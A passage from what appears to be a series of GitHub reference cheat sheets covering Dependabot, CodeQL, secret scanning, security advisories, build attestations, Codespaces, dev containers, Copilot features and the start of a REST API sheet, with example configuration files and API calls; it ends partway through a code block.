- Start with the **GitHub-recommended** configuration, then tune
- Assign a security manager team so someone owns alerts
- Review the org **Security overview** monthly

QUICK SUMMARY

- Security tab — policy + all alerts
- free baseline — Dependabot, reporting, advisories
- Secret Protection / Code Security — paid for private
- configurations — org-wide rollout

Dependency Graph & Dependabot Alerts

KNOWING WHAT YOU DEPEND ON

The **dependency graph** reads manifests and lockfiles (and data submitted by Actions) to list every dependency, direct and transitive. When the **GitHub Advisory Database** has an advisory for one of them, **Dependabot alerts** you with severity, affected versions, the fix version and the exploit-likelihood score (**EPSS**). **Auto-triage rules** dismiss or snooze noise in bulk.

GRAPH FACTS

- Export an **SBOM** (SPDX) from Insights → Dependency graph
- Alerts list the vulnerable call paths for some ecosystems
- Dismiss with a reason so the history makes sense

WHO CAN DO THIS

- **Role:** Write (view alerts) · Admin (settings, rules)
- **Plan:** Free
- **Repos:** public and private

TRIAGE DEPENDABOT ALERTS

1. **Security → Dependabot**; sort by **severity** or **EPSS**
2. Open an alert: affected range, patched version, advisory
3. Merge the security-update PR, or upgrade by hand
4. Not reachable? **Dismiss →** reason (not used, tolerable risk…)
5. Add an **auto-triage rule**, e.g. dismiss low-severity dev-only alerts

AUTOMATE IT

Block risky dependency changes in PRs

```yaml
on: pull_request
# step:
- uses: actions/dependency-review-action@v4
  with:
    fail-on-severity: high
    deny-licenses: GPL-3.0, AGPL-3.0
```

WHERE TO FIND IT

PATH	SHOWS
`Security → Dependabot`	alerts
`Insights → Dependency graph`	dependencies, SBOM export
`Settings → Advanced Security`	enable graph + alerts
`Dependabot rules`	auto-triage

PRIORITIZING

SIGNAL	MEANING
`Severity (CVSS)`	how bad if exploited
`EPSS %`	chance of exploitation soon
`Runtime vs development`	dev-only deps matter less
`Patched version exists`	easy fix: do it now

DISMISS REASONS

REASON	WHEN
`Fix started`	work in progress
`No bandwidth to fix`	accepted for now
`Tolerable risk`	can't be exploited here
`Inaccurate`	false positive
`Vulnerable code not used`	not reachable

⚠ COMMON MISTAKES

- Repos without lockfiles: transitive dependencies are invisible
- Dismissing alerts without a reason: next audit starts over
- Treating all alerts equally: fix high severity + high EPSS first

✓ TIPS & BEST PRACTICES

- Use the dependency submission API for Gradle/Maven builds to capture resolved deps
- Pair alerts with security updates (Sheet 74) for automatic fix PRs
- Export the SBOM for compliance requests

QUICK SUMMARY

- dependency graph — what you depend on
- Dependabot alerts — known vulnerabilities
- severity + EPSS — triage order
- dependency-review-action — stop it in PRs

Dependabot Version & Security Updates

AUTOMATIC DEPENDENCY PRS

Dependabot security updates open PRs that bump a vulnerable dependency to the patched version. **Version updates** keep everything current on a schedule you define in `.github/dependabot.yml`. **Groups** combine related bumps into one PR, **ignore** skips versions, and **cooldown** waits a few days after a release before proposing it, which avoids grabbing compromised packages on day one.

FACTS

- Security updates are toggled in Settings; version updates need the file
- One `updates` entry per ecosystem + directory
- Dependabot PRs run Actions with read-only token and Dependabot secrets

WHO CAN DO THIS

- **Role:** Write (merge PRs) · Admin (enable)
- **Plan:** Free
- **Repos:** public and private

A PRACTICAL DEPENDABOT.YML

```yaml
# .github/dependabot.yml
version: 2
updates:
  - package-ecosystem: npm
    directory: "/"
    schedule: { interval: weekly, day: monday }
    cooldown: { default-days: 5 }
    groups:
      minor-and-patch: { update-types: [minor, patch] }
    ignore:
      - dependency-name: "react*"
        update-types: [version-update:semver-major]
    labels: [dependencies]
  - package-ecosystem: github-actions
    directory: "/"
    schedule: { interval: weekly }
```

CODE EXPLAINED

- → `package-ecosystem` — npm, pip, maven, gradle, docker, github-actions…
- → `cooldown` — wait N days after a release
- → `groups` — one PR for many bumps
- → `ignore` — skip majors for chosen deps
- → `github-actions` — keeps action pins current

PR COMMENT COMMANDS

COMMENT	DOES
`@dependabot rebase`	rebase the PR
`@dependabot recreate`	rebuild, dropping edits
`@dependabot ignore this major version`	skip majors
`@dependabot ignore this dependency`	stop updates for it
`@dependabot show <dep> ignore conditions`	list ignores

OTHER OPTIONS

KEY	USE
`directories: ["/apps/*"]`	monorepo globs
`open-pull-requests-limit`	cap open PRs (default 5)
`target-branch`	PRs against another branch
`registries`	private package registries

⚠ COMMON MISTAKES

- No `github-actions` entry: action pins go stale
- Daily schedules with no groups: a wall of PRs every morning
- Auto-merging majors: keep auto-merge to patch/minor with green CI

✓ TIPS & BEST PRACTICES

- Auto-merge patch updates with `dependabot/fetch-metadata` + auto-merge
- Use `cooldown` on fast-moving ecosystems like npm
- Store registry credentials as **Dependabot secrets**, not Actions secrets

QUICK SUMMARY

- security updates — patch vulnerable deps
- version updates — `dependabot.yml` schedule
- groups · ignore · cooldown — control the flow
- `@dependabot` commands — manage PRs

Code Scanning & CodeQL

FINDING BUGS IN YOUR OWN CODE

Code scanning analyzes source code and reports alerts in the Security tab and on PR diffs. **CodeQL**, GitHub's engine, treats code as data and runs security queries. **Default setup** turns it on with one click for supported languages; **advanced setup** commits a `codeql.yml` workflow you can customize. Third-party tools upload results as **SARIF**. **Copilot Autofix** suggests fixes for many alerts.

SCANNING FACTS

- Default setup scans on push, PRs and weekly
- Compiled languages may need `build-mode: manual`
- Alerts can be dismissed: false positive, won't fix, used in tests

WHO CAN DO THIS

- **Role:** Write (view) · Admin (enable)
- **Plan:** Free for public; Code Security for private
- **Repos:** public and private

ADVANCED SETUP WORKFLOW

```yaml
# .github/workflows/codeql.yml
on:
  push: { branches: [main] }
  pull_request:
  schedule: [{ cron: "23 4 * * 1" }]
permissions: { contents: read, security-events: write }
jobs:
  analyze:
    runs-on: ubuntu-latest
    strategy:
      matrix: { language: [javascript-typescript, python, actions] }
    steps:
      - uses: actions/checkout@v6
      - uses: github/codeql-action/init@v4
        with:
          languages: ${{ matrix.language }}
          queries: security-extended
      - uses: github/codeql-action/analyze@v4
```

CODE EXPLAINED

- → `security-events: write` — upload results
- → matrix `language` — one analysis per language
- → `actions` — scans your workflow files too
- → `queries:` — default, security-extended, security-and-quality
- → `analyze` — runs queries, uploads SARIF

CODEQL LANGUAGES

IDENTIFIER	COVERS
`javascript-typescript`	JS, TS
`python / ruby / go`	interpreted & Go
`java-kotlin / csharp`	JVM, .NET
`c-cpp / swift / rust`	compiled
`actions`	workflow YAML

OTHER TOOLS VIA SARIF

TOOL	UPLOAD WITH
`Semgrep / ESLint / Trivy`	SARIF output file
`upload-sarif action`	`github/codeql-action/upload-sarif`
`category:`	separate multiple tools' results
`Limit`	keep results under 5,000 per run

⚠ COMMON MISTAKES

- Advanced setup copied once and never updated: new languages go unscanned
- Dismissing real alerts as false positives to make the PR green
- Running both default and advanced setup: default must be off for advanced

✓ TIPS & BEST PRACTICES

- Start with default setup; switch to advanced only when you need custom queries or builds
- Turn on **Copilot Autofix** to get fix suggestions on PRs
- Use code scanning merge protection rules to block PRs with new high alerts

QUICK SUMMARY

- code scanning — alerts in Security + PRs
- CodeQL default setup — one click
- `codeql.yml` — advanced customization
- SARIF — bring other scanners

Secret Scanning & Push Protection

CATCHING LEAKED CREDENTIALS

Secret scanning searches the full Git history, issues, PRs and discussions for tokens from hundreds of providers and alerts you. Partner providers (AWS, Stripe, Slack…) are notified about public leaks and may revoke them. **Push protection** stops the push before a secret ever reaches GitHub, unless the pusher **bypasses** with a reason. **Validity checks** show whether a found secret still works.

FACTS

- Enabled automatically on all public repos
- Push protection is on by default for pushes to public repos
- **Revoke the secret first**; deleting the commit isn't enough

WHO CAN DO THIS

- **Role:** Admin (enable) · Write/committers (bypass push protection)
- **Plan:** Free for public; Secret Protection for private
- **Repos:** public and private

WHEN A SECRET LEAKS

1. **Revoke / rotate** the credential at the provider immediately
2. Check provider logs for misuse since the leak
3. Remove it from code; load it from a secret store
4. **Security → Secret scanning** → close the alert as **Revoked**
5. Optional: rewrite history (`git filter-repo`) and force-push

AUTOMATE IT

List open alerts (REST)

```
curl -H "Authorization: Bearer $TOKEN" \
  "https://api.github.com/repos/O/R/secret-scanning/alerts?state=open"
```

WHERE TO FIND IT

PATH	CONTROLS
`Security → Secret scanning`	alerts, validity
`Settings → Advanced Security`	scanning, push protection
`Org → Security → Secret scanning`	custom patterns, bypass reviewers
`Push rejected message`	bypass link + reasons

PUSH PROTECTION BYPASS REASONS

REASON	RESULT
`It's used in tests`	alert closed as used in tests
`It's a false positive`	alert closed as false positive
`I'll fix it later`	open alert created
`Delegated bypass`	reviewers must approve the push

CLOSE AN ALERT AS

STATE	MEANS
`Revoked`	credential no longer works
`False positive`	not a real secret
`Used in tests`	test-only value
`Won't fix`	accepted risk

⚠ COMMON MISTAKES

- Deleting the file and thinking you're safe: it's in history and forks/clones
- Bypassing push protection with "false positive" for a real key
- Committing `.env` files: add them to `.gitignore` from day one

✓ TIPS & BEST PRACTICES

- Add **custom patterns** for internal token formats
- Turn on **delegated bypass** so a security team approves bypasses
- Use OIDC and short-lived tokens so leaks expire on their own

QUICK SUMMARY

- secret scanning — find leaked credentials
- push protection — block before push
- revoke first — then clean up
- custom patterns + validity checks — sharper alerts

Repository Security Advisories

draft advisory · private fork · request CVE · publish · GitHub Advisory Database · GHSA IDs · credit

DISCLOSING YOUR OWN VULNERABILITIES

When someone reports a vulnerability in your project, a **repository security advisory** gives you a private workspace: discuss it with the reporter, fix it in a **temporary private fork**, **request a CVE** (GitHub is a CVE Numbering Authority) and **publish** the advisory with the fix. Published advisories get a **GHSA ID**, enter the **GitHub Advisory Database** and trigger Dependabot alerts for everyone using the affected versions.

FACTS

- Private vulnerability reporting lets anyone submit privately
- Drafts are visible only to admins and invited collaborators
- Credit reporters on the published advisory

WHO CAN DO THIS

- **Role:** Admin or security manager (create, publish) · anyone (report privately)
- **Plan:** Free
- **Repos:** public repos (drafts also on private)

HANDLE A REPORT

1. Report arrives via **Security → Advisories** (private reporting)
2. Accept it as a **draft advisory**; invite collaborators
3. **Start a temporary private fork**; fix and review there
4. Fill in ecosystem, package, affected and patched versions, severity
5. **Request CVE**, merge the fix, release the patched version
6. **Publish advisory**; credit the reporter

WHERE TO FIND IT

PATH	DOES
`Security → Advisories → New draft`	create advisory
`Security → Report a vulnerability`	private reporting (others)
`Draft → Temporary private fork`	private fix workspace
`github.com/advisories`	Advisory Database

ADVISORY FIELDS

FIELD	EXAMPLE
`Ecosystem / package`	npm · `@octo/utils`
`Affected versions`	`< 2.3.1`
`Patched versions`	`2.3.1`
`Severity`	CVSS vector or level
`CWE`	CWE-79 (XSS)

IDENTIFIERS

ID	ISSUED BY
`GHSA-xxxx-xxxx-xxxx`	GitHub, on publish
`CVE-2026-12345`	GitHub as CNA, on request
`Reviewed advisory`	curated into the database

⚠ COMMON MISTAKES

- Fixing in a public PR before the release: you disclose the bug to attackers
- Wrong affected-version ranges: Dependabot alerts miss users or spam safe ones
- Publishing before the patched version is on the registry

✓ TIPS & BEST PRACTICES

- Turn on private vulnerability reporting for every public repo
- Use the private fork's PR to get CI and review without leaking
- Link the advisory in release notes once published

QUICK SUMMARY

- draft advisory — private workspace
- private fork — fix without disclosure
- CVE + GHSA — identifiers
- publish — alerts everyone affected

Attestations & Supply Chain

PROVING WHERE BUILDS CAME FROM

Artifact attestations are signed statements, made in Actions, that a file or image was built by a specific workflow from a specific commit (SLSA **build provenance**). Consumers verify them before running the artifact. Combined with **immutable releases**, pinned actions and signed commits, they make the path from source to user tamper-evident.

FACTS

- Attestations are signed with Sigstore using the job's OIDC token
- Public repos use the public Sigstore instance; private use GitHub's
- Reusable build workflows help reach SLSA Build Level 3

WHO CAN DO THIS

- **Role:** Write (run workflow) · anyone (verify public)
- **Plan:** Free for public; Enterprise for private
- **Repos:** public and private (plan-dependent)

ATTEST A BUILD, THEN VERIFY IT

```yaml
# .github/workflows/release.yml (excerpt)
permissions:
  contents: write
  id-token: write          # sign with OIDC
  attestations: write      # store the attestation
steps:
  - uses: actions/checkout@v6
  - run: make dist         # produces dist/app.tar.gz
  - uses: actions/attest-build-provenance@v2
    with:
      subject-path: dist/app.tar.gz

# Consumer side (any machine with gh):
#   gh attestation verify app.tar.gz --repo octo-org/app
# Container images: subject-name + subject-digest instead
```

CODE EXPLAINED

- → `id-token: write` — OIDC token used to sign
- → `attestations: write` — save it to the repo
- → `subject-path` — file(s) to attest (globs allowed)
- → `gh attestation verify` — checks signature + repo

SUPPLY-CHAIN LAYERS

LAYER	FEATURE
Source	signed commits, rulesets
Dependencies	Dependabot, dependency review
Build	pinned actions, attestations
Release	immutable releases
Inventory	SBOM export / SBOM attestations

SLSA BUILD LEVELS

LEVEL	MEANS
L1	provenance exists
L2	signed provenance from a hosted builder
L3	isolated, hardened build (reusable workflow)

⚠ COMMON MISTAKES

- Attesting but never verifying: nobody checks, nothing is gained
- Missing `id-token: write`: the signing step fails
- Re-uploading release assets after attesting: hashes no longer match

✓ TIPS & BEST PRACTICES

- Verify attestations in your deploy job before shipping
- Turn on **immutable releases** so assets can't be swapped later
- Attest SBOMs too with `actions/attest-sbom`

QUICK SUMMARY

- attestation — signed build provenance
- `attest-build-provenance` — create in Actions
- `gh attestation verify` — check before use
- immutable releases — lock what shipped

Codespaces Basics

create from branch / PR · machine types · VS Code browser vs desktop · ports + forwarding · stop / delete · idle timeout · quotas

A DEV ENVIRONMENT IN THE CLOUD

A **codespace** is a cloud VM with your repo checked out, your dev container applied and VS Code attached, in the browser or desktop VS Code (or JetBrains). Start one from any branch or PR in seconds. You pay by **core-hours** of compute and GB of **storage**; personal accounts get a monthly free quota. Codespaces **stop** when idle and are **deleted** after a retention period.

CODESPACE FACTS

- Default idle timeout 30 min; retention 30 days after stopping
- Forwarded ports are private by default
- Uncommitted changes survive stop/start, not deletion

WHO CAN DO THIS

- **Role:** Read on the repo (create for yourself)
- **Plan:** Free quota for personal accounts; orgs pay
- **Repos:** public and private

SPIN ONE UP

1. Repo → **Code** → **Codespaces** → **Create codespace on main**
2. Or **…** → **New with options**: branch, region, machine type
3. Wait for the dev container build (or a **prebuild**)
4. Run your app; open the forwarded port from the **Ports** panel
5. Commit + push as usual; **Stop** when done
6. Manage all of them at **github.com/codespaces**

WHERE TO FIND IT

PATH	CONTROLS
`Code → Codespaces`	create / open
`github.com/codespaces`	list, stop, delete
`Settings → Codespaces`	idle timeout, retention, dotfiles, secrets
`Repo Settings → Codespaces`	prebuilds
`Settings → Billing`	usage + spending limit

MACHINE TYPES

CORES	GOOD FOR
`2-core`	docs, small apps
`4-core`	typical web app
`8 / 16-core`	big builds, monorepos
`32-core`	heavy compile (org approval)

PORT VISIBILITY

SETTING	WHO CAN OPEN
`Private`	only you
`Private to organization`	org members
`Public`	anyone with the URL

YOUR CODESPACES SETTINGS

SETTING	DOES
`Secrets`	per-user env vars, scoped to repos
`Dotfiles`	your repo of shell configs
`Default editor`	browser, VS Code, JetBrains
`Default region / idle timeout`	latency · cost
`GPG verification`	sign commits made in codespaces

BILLING BASICS

ITEM	BILLED AS
`Compute`	core-hours (cores × hours)
`Storage`	GB-month, also while stopped
`Prebuilds`	storage + Actions minutes
`Org repos`	org pays if policy allows

⚠ COMMON MISTAKES

- Leaving codespaces running: core-hours burn while idle until timeout
- Making a port public to share a demo, then forgetting it
- Keeping work only in a stopped codespace: it's deleted after retention

✓ TIPS & BEST PRACTICES

- Set a **spending limit** and a short idle timeout
- Add a **dotfiles** repo to bring your shell setup everywhere
- Use **prebuilds** for repos with slow container builds

QUICK SUMMARY

- codespace — cloud VM + VS Code
- core-hours + storage — what you pay
- stop / retention — idle cleanup
- ports — private by default

Dev Containers

DEFINING THE ENVIRONMENT

A **dev container** describes the environment as code in `.devcontainer/devcontainer.json`: a base image or Dockerfile, **features** (installable tools like Node, Python, Docker-in-Docker), ports to forward, lifecycle commands and editor settings. Codespaces, VS Code's Dev Containers extension and other tools all read the same file, so everyone gets the same setup.

FACTS

- No file? Codespaces uses a large default universal image
- Multiple configs: `.devcontainer/<name>/devcontainer.json`
- Rebuild after edits: **Codespaces: Rebuild Container**

WHO CAN DO THIS

- **Role:** Write (commit config)
- **Plan:** Free
- **Repos:** public and private

A NODE + POSTGRES DEV CONTAINER

```jsonc
// .devcontainer/devcontainer.json
{
  "name": "shop",
  "image": "mcr.microsoft.com/devcontainers/javascript-node:22",
  "features": {
    "ghcr.io/devcontainers/features/github-cli:1": {},
    "ghcr.io/devcontainers/features/docker-in-docker:2": {}
  },
  "forwardPorts": [3000],
  "postCreateCommand": "npm ci",
  "customizations": {
    "vscode": {
      "extensions": ["dbaeumer.vscode-eslint", "esbenp.prettier-vscode"]
    }
  },
  "secrets": { "STRIPE_KEY": { "description": "Test-mode key" } },
  "hostRequirements": { "cpus": 4 }
}
```

CODE EXPLAINED

- → `image` — base; or `build.dockerfile` for your own
- → `features` — add tools by ID + version
- → `postCreateCommand` — runs once after creation
- → `customizations.vscode.extensions` — preinstalled
- → `secrets` — prompts users for Codespaces secrets

LIFECYCLE COMMANDS

KEY	RUNS
`onCreateCommand`	first, during creation (prebuild-friendly)
`updateContentCommand`	after content updates
`postCreateCommand`	after creation, user context
`postStartCommand`	every start
`postAttachCommand`	every editor attach

NEED SEVERAL CONTAINERS?

KEY	USE
`dockerComposeFile`	point to docker-compose.yml
`service`	which service VS Code attaches to
`runServices`	services to start
`workspaceFolder`	path inside the container

⚠ COMMON MISTAKES

- Heavy installs in `postStartCommand`: every start is slow
- Hard-coding secrets in devcontainer.json: use Codespaces secrets
- Pinning `latest` images: environments drift between teammates

✓ TIPS & BEST PRACTICES

- Move slow setup into `onCreateCommand` so prebuilds cache it
- Browse features at `containers.dev/features`
- The same file works locally with Docker + VS Code Dev Containers

QUICK SUMMARY

- devcontainer.json — environment as code
- image + features — tools
- lifecycle commands — setup steps
- same file — Codespaces and local

github.dev & Web Editing

. / > shortcuts · edit file in browser · commit to branch / new PR · upload files · limits (no terminal) · github.dev vs Codespaces

EDITING WITHOUT CLONING

Press **.** on any repo or PR and **github.dev** opens a lightweight VS Code in the browser, free and instant, with no compute behind it. You can browse, search, edit many files and commit to a new branch with a PR. For single files, the **pencil** icon edits right on github.com. When you need a terminal, run code or debug, switch to a codespace.

LIMITS

- No terminal, no running code, no debugger
- Only web-capable extensions work
- Web uploads: 25 MB per file, 100 files at once

WHO CAN DO THIS

- **Role:** Read (browse) · Write (commit) · fork for others' repos
- **Plan:** Free
- **Repos:** public and private

FIX A TYPO ACROSS FILES

1. On the repo, press `.` (or change `github.com` to `github.dev`)
2. Search with **Ctrl/⌘ Shift F**; edit the files
3. **Source Control** panel: review changes, write a message
4. **Commit & Push** → choose **Create a new branch**
5. Open the PR when prompted
6. Need to run tests? **Continue Working on** → **Create codespace**

WHERE TO FIND IT

PLACE	DOES
`. on a repo or PR`	open github.dev here
`> on a repo`	open in a new tab
`File view → pencil ✎`	edit one file
`Add file → Upload files`	drag files in

GITHUB.DEV VS CODESPACES

ASPECT	GITHUB.DEV · CODESPACES
`Cost`	free · core-hours
`Start time`	instant · seconds–minutes
`Terminal / run code`	no · yes
`Extensions`	web only · all
`Best for`	quick edits, reviews · real dev work

REVIEWING PRS IN GITHUB.DEV

DO	HOW
`Open PR`	press **.** on the PR page
`See changes`	Source Control → GitHub PR view
`Comment`	inline in the diff
`Suggest a fix`	edit + commit to the PR branch

WEB FILE ACTIONS

ACTION	HOW
`Create file / folder`	Add file → name with `folder/`
`Upload`	Add file → Upload files
`Rename / move`	edit the filename path
`Delete`	file ⋯ → Delete file
`History`	file → History

COMMIT DIALOG

OPTION	EFFECT
`Commit directly`	to current branch (if allowed)
`Create a new branch`	and open a PR
`Extended description`	commit body
`Co-authored-by:`	credit pair partners

⚠ COMMON MISTAKES

- Committing straight to `main` from the web editor: choose a new branch
- Expecting `npm test` to run: there's no compute
- Uploading build artifacts through the web UI

✓ TIPS & BEST PRACTICES

- Great for doc fixes and reviewing big PRs with full-file context
- Settings sync carries your theme and keybindings into github.dev
- Rule of thumb: need to run it → codespace

QUICK SUMMARY

- `.` — github.dev, instant and free
- pencil — single-file edit
- commit to a new branch + PR
- no terminal — use Codespaces to run code

Copilot Plans & Setup

Free / Pro / Pro+ / Business / Enterprise · premium requests · model picker · org policies · content exclusion

COPILOT ON GITHUB

GitHub Copilot adds AI help across GitHub: code completion and chat in editors, chat on github.com, code review, PR summaries and the **coding agent**. Individuals use **Free**, **Pro** or **Pro+**; organizations buy **Business** or **Enterprise** seats and control features with policies. Advanced models and agent work use **premium requests**, with a monthly allowance per plan.

PLAN FACTS

- Free has limited completions and chat each month
- Students, teachers and popular OSS maintainers may get Pro free
- Orgs can exclude files from Copilot (content exclusion)

WHO CAN DO THIS

- **Role:** account owner · Org owner (seats, policies)
- **Plan:** Free / Pro / Pro+ / Business / Enterprise
- **Repos:** public and private

SET UP COPILOT

1. **Settings → Copilot**: pick a plan (or accept an org seat)
2. Install the Copilot extension in your editor; sign in
3. Choose features and models in **Settings → Copilot → Features**
4. Org: **Org Settings → Copilot → Access** to assign seats
5. Org: **Policies** for models, coding agent, code review
6. Org: **Content exclusion** for sensitive paths

WHERE TO FIND IT

PATH	CONTROLS
`Settings → Copilot`	plan, features, models
`Copilot icon (top bar)`	chat on github.com
`Org Settings → Copilot`	seats, policies, exclusions
`Settings → Billing`	premium request usage + budget

PLANS

PLAN	FOR
`Free`	trying it; limited monthly usage
`Pro / Pro+`	individuals; more premium requests
`Business`	orgs; policies, seat management
`Enterprise`	Business + enterprise controls

WHERE COPILOT SHOWS UP

SURFACE	SHEET
`Chat + custom instructions`	83
`Coding agent`	84
`Code review, PR summaries`	85
`Code scanning Autofix`	75
`Editor use in depth`	Agentic Coding set

⚠ COMMON MISTAKES

- Assuming org code is used to train models: Business/Enterprise data isn't used for training
- Leaving premium-request budgets unset: overages surprise you
- Using Copilot on repos with secrets in plain files: add content exclusions

✓ TIPS & BEST PRACTICES

- Check plan prices and allowances on the Copilot plans page; they change
- Set a budget for premium requests under Billing
- Give the org a short `copilot-instructions.md` per repo (Sheet 83)

QUICK SUMMARY

- Free · Pro · Pro+ · Business · Enterprise
- premium requests — monthly allowance
- org policies — features, models, exclusions
- surfaces — chat, agent, review, Autofix

Copilot Chat & Custom Instructions

TEACHING COPILOT YOUR REPO

Copilot Chat on github.com answers questions about repos, files, issues, PRs and diffs. Its answers (and those of the coding agent and code review) improve with **custom instructions**: `.github/copilot-instructions.md` for repo-wide rules, `.github/instructions/*.instructions.md` with an `applyTo` glob for specific paths, and reusable **prompt files**. The coding agent also reads `AGENTS.md`.

INSTRUCTION FACTS

- Keep instructions short, factual and about *this* repo
- Path-specific files combine with the repo-wide file
- Personal and org instructions can be set in Copilot settings

WHO CAN DO THIS

- **Role:** Write (commit instruction files)
- **Plan:** any Copilot plan
- **Repos:** public and private

REPO + PATH INSTRUCTIONS

```
<!-- .github/copilot-instructions.md -->
# Project notes for Copilot
- Stack: Next.js 15, TypeScript strict, Prisma, PostgreSQL.
- Run tests with `npm test`; lint with `npm run lint`.
- Use `zod` for validation; never `any`.
- API routes live in `app/api/`; shared types in `lib/types.ts`.
- Write commit messages in Conventional Commits style.

<!-- .github/instructions/tests.instructions.md -->
---
applyTo: "**/*.test.ts"
---
- Use Vitest, not Jest.
- One `describe` per module; table-driven cases with `it.each`.

<!-- .github/prompts/new-endpoint.prompt.md -->
Create a new API route for ${input:resource} with zod validation and tests.
```

CODE EXPLAINED

- → repo-wide file — stack, commands, conventions
- → `applyTo` glob — rules for matching files only
- → prompt files — reusable tasks with inputs
- → build/test commands — let agents verify their work

INSTRUCTION FILES

FILE	APPLIES TO
`.github/copilot-instructions.md`	everything in the repo
`.github/instructions/*.instructions.md`	files matching `applyTo`
`.github/prompts/*.prompt.md`	run on demand in chat
`AGENTS.md`	coding agent (and other agents)

CHAT ON GITHUB.COM

ASK ABOUT	HOW
A repo	open chat on the repo page
A file or lines	select lines → Ask Copilot
A PR diff	Copilot icon on the PR
An issue	summarize, draft a plan

⚠ COMMON MISTAKES

- Pages of style essays: long instructions get diluted; keep to what's specific
- Instructions that contradict the linter config
- Forgetting the test command: agents can't check their own work

✓ TIPS & BEST PRACTICES

- Ask Copilot to draft `copilot-instructions.md` from the repo, then edit it
- Mirror the content in `AGENTS.md` so other AI tools benefit too
- Review instruction files like code: they change behavior

QUICK SUMMARY

- `copilot-instructions.md` — repo rules
- `*.instructions.md` + `applyTo` — path rules
- prompt files — reusable tasks
- AGENTS.md — agent-readable notes

Copilot Coding Agent

ASSIGNING ISSUES TO COPILOT

The **Copilot coding agent** works on GitHub by itself: assign an issue to **Copilot** (or ask from chat or the Agents panel) and it spins up an Actions-powered environment, explores the repo, writes code, runs tests and opens a **draft pull request**. You review it like any PR and leave comments mentioning `@copilot` to request changes. Its environment is customized with `copilot-setup-steps.yml`.

AGENT FACTS

- Runs on Actions minutes plus premium requests
- Pushes only to its own `copilot/` branches
- A firewall limits internet access; allowlist hosts if needed

WHO CAN DO THIS

- **Role:** Write (assign) · Admin (enable, configure)
- **Plan:** Pro / Pro+ / Business / Enterprise
- **Repos:** public and private

PREPARE THE AGENT'S ENVIRONMENT

```yaml
# .github/workflows/copilot-setup-steps.yml
name: Copilot Setup Steps
on: workflow_dispatch          # lets you test it by hand
jobs:
  copilot-setup-steps:         # job name must match exactly
    runs-on: ubuntu-latest
    permissions: { contents: read }
    steps:
      - uses: actions/checkout@v6
      - uses: actions/setup-node@v6
        with: { node-version: 22, cache: npm }
      - run: npm ci
      - run: npx prisma generate
```

CODE EXPLAINED

→ file + job name — required exactly as shown

→ install deps up front so the agent can build and test

→ `workflow_dispatch` — run it yourself to debug

→ runs before the agent starts each task

WORKING WITH THE AGENT

STEP	HOW
Give it work	assign issue to Copilot / Agents panel
Watch progress	session log linked from the PR
Ask for changes	PR comment mentioning `@copilot`
CI on its PRs	needs approval to run workflows
Finish	you review, approve, merge

REPO SETTINGS → COPILOT → CODING AGENT

SETTING	USE
Firewall + allowlist	hosts it may reach
MCP servers (JSON)	extra tools for the agent
Environment copilot	secrets/vars for setup
Who can assign	repo Write access

⚠ COMMON MISTAKES

- Vague issues ("improve performance"): write acceptance criteria and where to look
- Merging agent PRs without running them: review like a junior dev's PR
- No setup steps for repos with native deps: the agent can't build or test

✓ TIPS & BEST PRACTICES

- Best fits: well-scoped bugs, tests, docs, small features
- Put build/test commands in `copilot-instructions.md` (Sheet 83)
- Batch review comments, then mention `@copilot` once

QUICK SUMMARY

- assign issue → draft PR from Copilot
- `copilot-setup-steps.yml` — its environment
- `@copilot` comments — iterate
- firewall + MCP — control its reach

Copilot Code Review & PR Features

request Copilot review · automatic review ruleset · coding guidelines · PR summaries · Autofix suggestions · limits

AI REVIEW ON PULL REQUESTS

Request **Copilot** as a reviewer and it leaves review comments, often with suggested changes you can commit. It always submits as **Comment**: it never approves or blocks, so it doesn't count toward required reviews. A ruleset can request Copilot review **automatically** on every PR. Copilot can also write a **PR summary** into the description.

REVIEW FACTS

- Reads `copilot-instructions.md` for your conventions
- Re-request after new pushes for another pass
- Each review uses premium requests

WHO CAN DO THIS

- **Role:** Write (request) · Admin (automatic review rule)
- **Plan:** Copilot plan with code review
- **Repos:** public and private

USE COPILOT REVIEW WELL

1. PR → **Reviewers** → **Copilot**
2. Read comments; **Commit suggestion** for good ones
3. Resolve or reply to false alarms (👎 helps tune)
4. Ruleset → **Automatically request Copilot code review**
5. PR description → **Copilot ✦** → **Summary** to draft the body
6. Keep human review required for merging

WHERE TO FIND IT

PLACE	DOES
`PR → Reviewers`	request Copilot
`Ruleset → Copilot code review`	automatic requests
`PR body toolbar ✦`	generate summary
`Org Settings → Copilot → Policies`	enable review

GOOD AT / NOT GOOD AT

COPILOT REVIEW	NOTES
`Typos, null checks, off-by-ones`	good
`Repo conventions`	good with instructions
`Architecture fit`	weak; human job
`Business rules`	can't know them

TUNING

LEVER	EFFECT
`copilot-instructions.md`	your style rules
`Path instructions`	per-area rules
`👍 / 👎 on comments`	feedback signal
`Draft PRs`	review before humans

COPILOT VS HUMAN REVIEW

ASPECT	COPILOT · HUMAN
`Counts toward approvals`	no · yes
`Can block merge`	no · yes
`Knows business context`	no · yes
`Speed`	minutes · hours
`Best use`	first pass · final call

WAYS TO REQUEST

WAY	WHEN
`Reviewers → Copilot`	on demand
`Ruleset automatic review`	every new PR
`Also on new pushes (rule option)`	each update
`Draft PRs`	before humans look

⚠ COMMON MISTAKES

- Treating Copilot's review as the required approval: it can't be
- Committing every suggestion without testing
- Ignoring repeated false positives instead of adding instructions

✓ TIPS & BEST PRACTICES

- Ask for Copilot review on drafts to catch nits before people look
- Add review-focused rules ("flag missing tests") to instructions
- Summaries are a starting point; edit for the why

QUICK SUMMARY

- request Copilot — comment-only review
- ruleset — automatic review
- instructions — tune what it checks
- humans still approve

REST API

api.github.com · Authorization: Bearer · X-GitHub-Api-Version · pagination Link · rate limits · conditional requests · common endpoints

THE REST API

Nearly everything in the UI is available at `https://api.github.com`. Send a token in `Authorization: Bearer`, ask for `application/vnd.github+json`, and pin an API version with `X-GitHub-Api-Version`. Lists are **paginated** (`per_page` up to 100, follow the `Link` header). Watch your **rate limit** in the `x-ratelimit-*` headers, and use **ETags** to make cheap conditional requests.

RATE LIMITS

- Unauthenticated: 60 requests / hour per IP
- Authenticated user or PAT: 5,000 / hour
- `GITHUB_TOKEN` in Actions: 1,000 / hour per repo

WHO CAN DO THIS

- **Role:** depends on endpoint: token needs the matching permission
- **Plan:** Free
- **Repos:** public and private

CURL PATTERNS

```
API=https://api.github.com
H=(-H "Authorization: Bearer $TOKEN"
   -H "Accept: application/vnd.github+json"
   -H "X-GitHub-Api-Version: 2022-11-28")

# Read
curl "${H[@]}" $API/repos/octo-org/shop
curl "${H[@]}" "$API/repos/octo-org/shop/issues?state=open&per_page=100&page=2"

# Write
curl "${H[@]}" -X POST $API/repos/octo-org/shop/issues \
  -d '{"title":"From the API","labels":["api"]}'

# Rate limit + conditional request
